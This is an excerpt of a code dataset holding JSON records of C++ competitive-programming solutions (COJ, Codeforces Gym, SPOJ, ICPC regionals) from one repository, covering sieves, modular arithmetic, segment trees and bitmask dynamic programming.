"num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p1938-Accepted-s573666.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nll n, a, b;\r\nbool criba[MAXN + 10];\r\nvector<ll> p, ap;\r\n\r\nint main()\r\n{\r\n\tfor ( ll i = 2; i * i <= MAXN; i++ )\r\n\t\tif ( !criba[i] )\r\n\t\t\tfor ( ll j = i * i; j <= MAXN; j += i )\r\n\t\t\t\tcriba[j] = 1;\r\n\tfor ( ll i = 2; i <= MAXN; i++ )\r\n\t\tif ( !criba[i] ) p.push_back( (ll)i );\r\n\t\t\r\n\tfor ( ll i = 0; i < p.size(); i++ )\r\n\t{\r\n\t\tll x = p[i] * p[i];\r\n\t\twhile ( x < (ll)1e12 )\r\n\t\t{\r\n\t\t\tap.push_back( x );\r\n\t\t\tx *= p[i];\r\n\t\t}\r\n\t}\r\n\r\n\tsort( ap.begin(), ap.end() );\r\n\r\n\tscanf( \"%lld\", &n );\r\n\tfor ( ll i = 1; i <= n; i++ )\r\n\t{\r\n\t\tscanf( \"%lld%lld\", &a, &b );\r\n\t\tll ini = lower_bound( ap.begin(), ap.end(), a ) - ap.begin();\r\n\t\tll fin = upper_bound( ap.begin(), ap.end(), b ) - ap.begin();\r\n\t\tprintf( \"%lld\\n\", fin - ini );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3121349811553955, "alphanum_fraction": 0.32965606451034546, "avg_line_length": 18.302631378173828, "blob_id": "50e78efe6db0e84612d87d7dc8712b771e5984ea", "content_id": "90d2081dd6a842ef1e835ec5146bca529b1f7042", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1541, "license_type": "no_license", "max_line_length": 57, "num_lines": 76, "path": "/COJ/eliogovea-cojAC/eliogovea-p3149-Accepted-s783851.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1e9 + 7;\r\n\r\nll power(ll x, ll n) {\r\n ll res = 1;\r\n while (n) {\r\n if (n & 1LL) {\r\n res = (res * x) % mod;\r\n }\r\n x = (x * x) % mod;\r\n n >>= 1LL;\r\n }\r\n return res;\r\n}\r\n\r\nint get(int n, int p) {\r\n ll pot = p;\r\n ll res = 0;\r\n while (pot <= n) {\r\n res += n / pot;\r\n pot *= p;\r\n }\r\n return res;\r\n}\r\n\r\nconst int N = 50000;\r\n\r\nint t, n;\r\n\r\nbool criba[N + 5];\r\nvector<int> p;\r\n\r\nll f[N + 5];\r\n\r\nint main() {\r\n for (int i = 2; i * i <= N; i++) {\r\n if (!criba[i]) {\r\n for (int j = i * i; j <= N; j += i) {\r\n criba[j] = true;\r\n }\r\n }\r\n }\r\n for (int i = 2; i <= N; i++) {\r\n if (!criba[i]) {\r\n p.push_back(i);\r\n }\r\n }\r\n f[0] = 1;\r\n for (int i = 1; i <= N; i++) {\r\n f[i] = (f[i - 1] * (long long)i) % mod;\r\n }\r\n\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> t;\r\n while (t--) {\r\n cin >> n;\r\n ll ans = 1;\r\n for (int i = 0; p[i] <= n && i < p.size(); i++) {\r\n ll e = get(n, p[i]);\r\n //cout << p[i] << \" \" << e << \"\\n\";\r\n ll a = (power(p[i], e + 1) - 1 + mod) % mod;\r\n ll b = power(p[i] - 1, mod - 2);\r\n a = (a * b) % mod;\r\n ans = (ans * a) % mod;\r\n }\r\n ans = (ans - f[n] + mod) % mod;\r\n cout << ans << \"\\n\";\r\n }\r\n}" }, { "alpha_fraction": 0.3773006200790405, "alphanum_fraction": 0.40337422490119934, "avg_line_length": 20.482759475708008, "blob_id": "d4cdd33ca43bb77399a77aa23862890e76cc4705", "content_id": "9c24bc662e37166078b57da579a2f12c718d6894", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 652, "license_type": "no_license", "max_line_length": 55, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2154-Accepted-s597449.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1010;\r\n\r\nint c, n, mark['z' + 1], id;\r\nchar mat[MAXN][MAXN];\r\n\r\nbool f() {\r\n\tfor (int i = 0; i < n / 2; i++) {\r\n\t\tif (mark[mat[i][i]] == id) return 0;\r\n\t\tmark[mat[i][i]] = id;\r\n\t\tfor (int j = i; j < n - i; j++)\r\n\t\t\tif (mat[i][j] != mat[i][i] ||\r\n\t\t\t\tmat[j][i] != mat[i][i] ||\r\n\t\t\t\tmat[n - i - 1][j] != mat[i][i] ||\r\n\t\t\t\tmat[j][n - i - 1] != mat[i][i]) return 0;\r\n\t}\r\n\tif (n & 1 && mark[mat[n / 2][n / 2]] == id) return 0;\r\n\treturn 1;\r\n}\r\n\r\nint main() {\r\n\tfor (scanf(\"%d\", &c); c--;) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tfor (int i = 0; i < n; i++) scanf(\"%s\", mat[i]);\r\n\t\tid++;\r\n\t\tprintf(\"%s\\n\", f() ? \"YES\" : \"NO\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5139240622520447, "alphanum_fraction": 0.5189873576164246, "avg_line_length": 15.17391300201416, "blob_id": "0312e09f4a15f1f608f107a7d7feb567084107d5", "content_id": "0dad688931df4cbe6fb9999165632921469090b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 395, "license_type": "no_license", "max_line_length": 53, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2711-Accepted-s579436.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n, x;\r\nvector<pair<int,int> > v;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t{\r\n\t\tscanf(\"%d\", &x);\r\n\t\tv.push_back(make_pair(x, i));\r\n\t}\r\n\r\n\tsort(v.begin(),v.end(),greater<pair<int, int> >() );\r\n\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tprintf(\"%d\\n\", v[i].second);\r\n}\r\n" }, { "alpha_fraction": 0.4721328914165497, "alphanum_fraction": 0.4941050410270691, "avg_line_length": 18.851064682006836, "blob_id": "5372cb03f5c1c373aa63f36f467c8b022300db14", "content_id": "66734de8399ae269f43c81de359f507910580997", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1866, "license_type": "no_license", "max_line_length": 77, "num_lines": 94, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nint score[15][15];\nstring names[15];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> names[i];\n\t}\n\tint wo = 0, wwo = 0;\n\tint bo = 1, bbo = 1;\n\tint wd = 2, wwd = 2;\n\tint bd = 3, bbd = 3;\n\tqueue <int> Q;\n\tfor (int i = 4; i < n; i++) {\n\t\tQ.push(i);\n\t}\n\tstring s;\n\tcin >> s;\n\tint best = 0;\n\tvector <pair <int, int> > ans;\n\tfor (int i = 0; i < s.size(); i++) {\n\t\tif (s[i] == 'W') {\n\t\t\tscore[wwo][wwd]++;\n\t\t\tswap(wo, wd);\n\t\t\tint x = score[bbo][bbd];\n\t\t\tif (x > best) {\n\t\t\t\tans.clear();\n\t\t\t\tbest = x;\n\t\t\t\tans.push_back(make_pair(bbo, bbd));\n\t\t\t} else if (x == best) {\n\t\t\t ans.push_back(make_pair(bbo, bbd));\n\t\t\t}\n\t\t\tscore[bbo][bbd] = 0;\n\t\t\tQ.push(bd);\n\t\t\tbd = bo;\n\t\t\tbbo = bd;\n\t\t\tbo = Q.front();\n\t\t\tbbd = bo;\n\t\t\tQ.pop();\n\t\t} else {\n\t\t\tscore[bbo][bbd]++;\n\t\t\tswap(bo, bd);\n\t\t\tint x = score[wwo][wwd];\n\t\t\tif (x > best) {\n\t\t\t\tbest = x;\n\t\t\t\tans.clear();\n\t\t\t\tans.push_back(make_pair(wwo, wwd));\n\t\t\t} else if (x == best) {\n\t\t\t\tans.push_back(make_pair(wwo, wwd));\n\t\t\t}\n\t\t\tscore[wwo][wwd] = 0;\n\t\t\tQ.push(wd);\n\t\t\twd = wo;\n\t\t\twwo = wd;\n\t\t\two = Q.front();\n\t\t\twwd = wo;\n\t\t\tQ.pop();\n\t\t}\n\t}\n\tif (s[s.size() - 1] == 'W') {\n\t\tint x = score[wwo][wwd];\n\t\tif (x > best) {\n\t\t\tbest = x;\n\t\t\tans.clear();\n\t\t\tans.push_back(make_pair(wwo, wwd));\n\t\t} else if (x == best) {\n\t\t ans.push_back(make_pair(wwo, wwd));\n\t\t}\n\t} else {\n\t\tint x = score[bbo][bbd];\n\t\tif (x > best) {\n\t\t\tbest = x;\n\t\t\tans.clear();\n\t\t\tans.push_back(make_pair(bbo, bbd));\n\t\t} else if (x == best) {\n\t\t ans.push_back(make_pair(bbo, bbd));\n\t\t}\n\t}\n\t//cerr << best << \"\\n\";\n\tfor (int i = 0; i < ans.size(); i++) {\n\t\tcout << names[ans[i].first] << \" \" << names[ans[i].second] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3690224289894104, "alphanum_fraction": 0.39314430952072144, "avg_line_length": 23.61458396911621, "blob_id": "ddf163e02a2d9ceac07da740db3dea253c0c7a14", "content_id": "9014c4fdb04b68f806d271728860a19ea97b132d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2363, "license_type": "no_license", "max_line_length": 76, "num_lines": 96, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/C6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint n;\nLL a[15];\n\nvector <pair <LL, LL> > ans[15];\nvector <pair <LL, LL> > okAns[15];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n\n if (n == 1) {\n cout << \"1\\n\";\n cout << a[0] - 1LL << \" \" << a[0] + 1LL << \"\\n\";\n return 0;\n }\n\n reverse(a, a + n);\n\n if (a[0] + 1LL < 0LL) {\n cout << \"0\\n\";\n return 0;\n }\n\n ans[0].push_back(make_pair(a[0] - 1LL, a[0] + 1LL));\n for (int i = 0; i < n; i++) {\n if (!ans[i].size()) {\n cout << \"0\\n\";\n return 0;\n }\n sort(ans[i].begin(), ans[i].end());\n LL lastL = ans[i][0].first;\n LL lastR = ans[i][0].second;\n for (int j = 1; j < ans[i].size(); j++) {\n if (ans[i][j].first > lastL) {\n if (lastR >= 0LL) {\n okAns[i].push_back(make_pair(max(0LL, lastL), lastR));\n }\n lastL = ans[i][j].first;\n lastR = ans[i][j].second;\n } else {\n lastR = max(lastR, ans[i][j].second);\n }\n }\n if (lastR >= 0) {\n okAns[i].push_back(make_pair(max(0LL, lastL), lastR));\n }\n\n if (i + 1 < n) {\n for (int j = 0; j < okAns[i].size(); j++) {\n LL l = okAns[i][j].first;\n LL r = okAns[i][j].second;\n ans[i + 1].push_back(make_pair(a[i + 1] - r, a[i + 1] - l));\n ans[i + 1].push_back(make_pair(a[i + 1] + l, a[i + 1] + r));\n }\n }\n }\n\n\n\n sort(ans[n - 1].begin(), ans[n - 1].end());\n\n LL lastL = ans[n - 1][0].first;\n LL lastR = ans[n - 1][0].second;\n\n vector <pair <int, int> > v;\n\n for (int i = 1; i < ans[n - 1].size(); i++) {\n if (ans[n - 1][i].first > lastR) {\n v.push_back(make_pair(lastL, lastR));\n lastL = ans[n - 1][i].first;\n lastR = ans[n - 1][i].second;\n } else {\n lastR = max(lastR, ans[n - 1][i].second);\n }\n }\n\n v.push_back(make_pair(lastL, lastR));\n\n cout << v.size() << \"\\n\";\n for (int i = 0; i < v.size(); i++) {\n cout << v[i].first << \" \" << v[i].second << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.36831483244895935, "alphanum_fraction": 0.4056508541107178, "avg_line_length": 17.05769157409668, "blob_id": "b48bb2519969604ee697a03516dd8459399f4ef8", "content_id": "0c958628bcbfc8f186ffc5f16b4fa2bd3158647d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 991, "license_type": "no_license", "max_line_length": 95, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3303-Accepted-s815580.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nint a[100005];\r\nvector<int> v[1000005];\r\n\r\nbool mark[101];\r\nint ans[101][100005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tint mx = -1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tif (a[i] > mx) {\r\n\t\t\tmx = a[i];\r\n\t\t}\r\n\t\tv[a[i]].push_back(i);\r\n\t}\r\n\tint q;\r\n\tcin >> q;\r\n\tint x, y, c;\r\n\twhile (q--) {\r\n\t\tcin >> x >> y >> c;\r\n\t\tif (c > 100) {\r\n\t\t\tint res = 0;\r\n\t\t\tfor (int i = c; i <= mx; i += c) {\r\n\t\t\t\tres += upper_bound(v[i].begin(), v[i].end(), y) - lower_bound(v[i].begin(), v[i].end(), x);\r\n\t\t\t}\r\n\t\t\tcout << res << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (mark[c]) {\r\n\t\t\tcout << ans[c][y] - ans[c][x - 1] << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t} else {\r\n\t\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\t\tans[c][i] = ans[c][i - 1];\r\n\t\t\t\tif (a[i] % c == 0) {\r\n ans[c][i]++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tmark[c] = true;\r\n\t\t\tcout << ans[c][y] - ans[c][x - 1] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3354714512825012, "alphanum_fraction": 0.3880692720413208, "avg_line_length": 20.65277862548828, "blob_id": "ee392d0ed92a05219156b2af7022e28460214f0b", "content_id": "e452fb93ec0e6ef3d676c8ceea5d36ed1169f96d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1559, "license_type": "no_license", "max_line_length": 86, "num_lines": 72, "path": "/Codeforces-Gym/100486 - 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E02: Codeforces Trainings Season 2 Episode 2 (CTU Open 2011 + misc)\n// 100486F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct matrix {\n double m[3][3];\n matrix(double x) {\n for (int i = 0; i < 2; i++) {\n for (int j = 0; j < 2; j++) {\n m[i][j] = 0.0;\n if (i == j) m[i][j] = x;\n }\n }\n }\n double * operator [] (int x) {\n return m[x];\n }\n const double * operator [] (const int x) const {\n return m[x];\n }\n};\n\nmatrix operator * (const matrix &a, const matrix &b) {\n matrix res(0);\n for (int i = 0; i < 2; i++) {\n for (int j = 0; j < 2; j++) {\n for (int k = 0; k < 2; k++) {\n res[i][j] += a[i][k] * b[k][j];\n }\n }\n }\n return res;\n}\n\nmatrix power(matrix x, int n) {\n matrix res(1);\n while (n) {\n if (n & 1) {\n res = res * x;\n }\n x = x * x;\n n >>= 1;\n }\n return res;\n}\n\nint x, y, n;\ndouble r;\n\nconst double eps = 1e-10;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n while (cin >> x >> y >> n >> r) {\n if (x == 0 && y == 0 && n == 0 && r == 0.0) break;\n matrix M(0);\n M[0][0] = (1200.0 + r) / (1200.0);\n M[0][1] = -1.0;\n M[1][0] = 0.0;\n M[1][1] = 1.0;\n M = power(M, 12 * n);\n\n double X = (double)x * M[0][0] + y * M[0][1];\n //cout << X << \" \";\n cout << (X <= eps ? \"YES\" : \"NO\") << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3864734172821045, "alphanum_fraction": 0.4219001531600952, "avg_line_length": 20.178571701049805, "blob_id": "9d30e6edf9e3a430e60c19f827a99a86b1d3f89c", "content_id": "8d91117f6422681c0425b21c3e24f3836405ca08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 621, "license_type": "no_license", "max_line_length": 52, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2589-Accepted-s656819.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint n, k;\r\nll dp[1 << 18][18], a[18], sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tdp[1 << i][i] = 1;\r\n\t}\r\n\tfor (int mask = 1; mask < (1 << n); mask++)\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tif (mask & (1 << i))\r\n\t\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\t\tif (!(mask & (1 << j)) && abs(a[j] - a[i]) > k)\r\n\t\t\t\t\t\tdp[mask | (1 << j)][j] += dp[mask][i];\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tsol += dp[(1 << n) - 1][i];\r\n\tcout << sol << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3495049476623535, "alphanum_fraction": 0.3910891115665436, "avg_line_length": 20.04166603088379, "blob_id": "a9221ef13f7aa2ab817ea3bacbfb2871d46e01d5", "content_id": "5846bc5755596f622e811678c777d91894566a87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1010, "license_type": "no_license", "max_line_length": 77, "num_lines": 48, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint jim_u[20], jim_r[20], jim_t;\n\nint u[20], r[20], t[20];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n for( int i = 0; i < 10; i++ )\n cin >> jim_u[i] >> jim_r[i];\n\n for( int i = 0; i < 10; i++ ){\n cin >> u[i] >> r[i] >> t[i];\n }\n\n for( int k = 0; k < 30; k++ ){\n int i = k % 10;\n\n if( t[i] > jim_t ){\n jim_t += jim_u[i];\n t[i] = max( t[i], jim_t );\n jim_t += jim_r[i];\n\n }\n else{\n int x = ( jim_t - t[i] )/( u[i]+r[i] );\n if( t[i] + (u[i]+r[i])*x > jim_t ) x--;\n\n int tprox = t[i] + (u[i]+r[i])*x;\n\n jim_t = max( jim_t, tprox+u[i] ) + jim_u[i];\n t[i] = max( tprox+u[i]+r[i], jim_t );\n jim_t += jim_r[i];\n\n }\n\n }\n cout << jim_t - jim_r[9] << '\\n';\n\n}\n" }, { "alpha_fraction": 0.4233473837375641, "alphanum_fraction": 0.450070321559906, "avg_line_length": 17.75, "blob_id": "df5e17d7901b297bfc909970599584ed10f15771", "content_id": "61254553afe13ec6f0d8e7c892e788c98cf5c802", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 711, "license_type": "no_license", "max_line_length": 41, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2228-Accepted-s631421.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 31622780;\r\n\r\nbool criba[MAXN + 5];\r\nvector<long long> p;\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n}\r\n\r\nlong long tc, n, sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tCriba();\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tsol = 1ll;\r\n\t\tfor (int i = 0; p[i] * p[i] <= n; i++)\r\n\t\t\tif (n % p[i] == 0) {\r\n\t\t\t\tsol *= p[i];\r\n\t\t\t\twhile (n % p[i] == 0) n /= p[i];\r\n\t\t\t}\r\n\t\tif (n > 1ll) sol *= n;\r\n\t\tcout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.473002165555954, "alphanum_fraction": 0.49028077721595764, "avg_line_length": 12.030303001403809, "blob_id": "94ef671e8e9e9a9c4503c32d3180301d3f39b9f5", "content_id": "c48cee1a04063dc41d1549973dcbbc7c5b66043f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 463, "license_type": "no_license", "max_line_length": 41, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2469-Accepted-s551566.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<map>\r\n#include<set>\r\n#define MAXN 2500\r\nusing namespace std;\r\n\r\nint n,g;\r\nstring str;\r\nmap<string,int> M;\r\nset<int> S;\r\n\r\nint main()\r\n{\r\n ios::sync_with_stdio(false);\r\n \r\n\tcin >> n;\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tcin >> str;\r\n\t\tM[ str ]=i;\r\n\t}\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tcin >> str;\r\n\t\tint idx = M[str];\r\n\t\tS.insert(idx);\r\n\t\tg+=distance( S.begin() , S.find(idx) );\r\n\t}\r\n\r\n\tcout << g << '/' << n*(n-1)/2 << endl;\r\n}\r\n" }, { "alpha_fraction": 0.4088440537452698, "alphanum_fraction": 0.45073699951171875, "avg_line_length": 15.960526466369629, "blob_id": "ac4eb46a6eacbd8b5941ec0a91bc54427aeba4d7", "content_id": "0478dde4050e877cb366b0ed414d061d93b47583", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1289, "license_type": "no_license", "max_line_length": 49, "num_lines": 76, "path": "/SPOJ/KGSS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nstruct data {\n\tint m1, m2;\n\tdata() {\n\t\tm1 = m2 = -1;\n\t}\n\tdata(int a, int b) : m1(a), m2(b) {}\n};\n \ndata merge(data a, data b) {\n\tif (a.m1 < b.m1) {\n\t\tswap(a, b);\n\t}\n\tint m1 = a.m1;\n\tint m2 = max(a.m2, max(b.m1, b.m2));\n\treturn data(m1, m2);\n}\n \nconst int N = 100005;\n \nint n, a[N];\nint q;\nchar t;\nint x, y;\ndata T[4 * N];\n \nvoid update(int x, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tT[x] = data(v, -1);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, p, v);\n\t\tupdate(2 * x + 1, m + 1, r, p, v);\n\t\tT[x] = merge(T[2 * x], T[2 * x + 1]);\n\t}\n}\n \ndata query(int x, int l, int r, int ql, int qr) {\n\tif (l > qr || r < ql) {\n\t\treturn data(-1, -1);\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn T[x];\n\t}\n\tint m = (l + r) >> 1;\n\tdata q1 = query(2 * x, l, m, ql, qr);\n\tdata q2 = query(2 * x + 1, m + 1, r, ql, qr);\n\treturn merge(q1, q2);\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t\tupdate(1, 1, n, i, a[i]);\n\t}\n\tcin >> q;\n\twhile (q--) {\n\t\tcin >> t >> x >> y;\n\t\tif (t == 'U') {\n\t\t\tupdate(1, 1, n, x, y);\n\t\t} else {\n\t\t\tdata ans = query(1, 1, n, x, y);\n\t\t\tcout << ans.m1 + ans.m2 << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.40655550360679626, "alphanum_fraction": 0.4416331350803375, "avg_line_length": 18.458824157714844, "blob_id": "d7fdb89b5bf4acd9d0c5d413ecd15a83d069440e", "content_id": "ae237df0fe84d69db71c5b7a78909082e57dacbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1739, "license_type": "no_license", "max_line_length": 66, "num_lines": 85, "path": "/COJ/eliogovea-cojAC/eliogovea-p3413-Accepted-s894989.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double g = 9.806;\r\nconst double pi = 2.0 * acos(0.0);\r\nconst double EPS = 1e-9;\r\n\r\nint t;\r\ndouble d, u, v;\r\n\r\ninline double calc(double angle) {\r\n\treturn (v * v * sin(2.0 * angle) + 2.0 * u * v * sin(angle)) / g;\r\n}\r\n\r\ndouble solve(double d, double v, double u) {\r\n\tdouble x = (-u + sqrt(u * u + v * v) / (4.0 * v));\r\n\tif (x <= -EPS || x >= 1.0 + EPS) {\r\n\t\tdouble lo = 0.0;\r\n\t\tdouble hi = pi / 2.0;\r\n\t\tfor (int it = 0; it < 200; it++) {\r\n\t\t\tdouble mid = (lo + hi) / 2.0;\r\n\t\t\tif (calc(mid) < d) {\r\n\t\t\t\tlo = mid;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = (lo + hi) / 2.0;\r\n\t\tif (fabs(calc(ans) - d) < EPS) {\r\n\t\t\treturn ans;\r\n\t\t}\r\n\t\treturn -1;\r\n\t}\r\n\tdouble lo = 0.0;\r\n\tdouble hi = acos(x);\r\n\tif (calc(lo) <= d + EPS && calc(hi) >= d - EPS) {\r\n\t\tfor (int it = 0; it < 200; it++) {\r\n\t\t\tdouble mid = (lo + hi) / 2.0;\r\n\t\t\tif (calc(mid) < d) {\r\n\t\t\t\tlo = mid;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = (lo + hi) / 2.0;\r\n\t\tif (fabs(calc(ans) - d) < EPS) {\r\n\t\t\treturn ans;\r\n\t\t}\r\n\t}\r\n\tlo = acos(x);\r\n\thi = pi / 2.0;\r\n\tif (calc(lo) >= d - EPS && calc(hi) <= d + EPS) {\r\n\t\tfor (int it = 0; it < 200; it++) {\r\n\t\t\tdouble mid = (lo + hi) / 2.0;\r\n\t\t\tif (calc(mid) < d) {\r\n\t\t\t\thi = mid;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = (lo + hi) / 2.0;\r\n\t\tif (fabs(calc(ans) - d) < EPS) {\r\n\t\t\treturn ans;\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tcin >> d >> u >> v;\r\n\t\tdouble ans = solve(d, u, v);\r\n\t\tcout << \"Scenario #\" << cas << \": \";\r\n\t\tif (ans < 0) {\r\n\t\t\tcout << \"-1\\n\";\r\n\t\t} else {\r\n\t\t\tcout << fixed << ans * 180.0 / pi << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.49017682671546936, "alphanum_fraction": 0.5, "avg_line_length": 14.419354438781738, "blob_id": "419425ee627540ef7cfc931b22586f7550893558", "content_id": "8c96db5512243cfb749b4fd1b1abab5bfb89ff3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1018, "license_type": 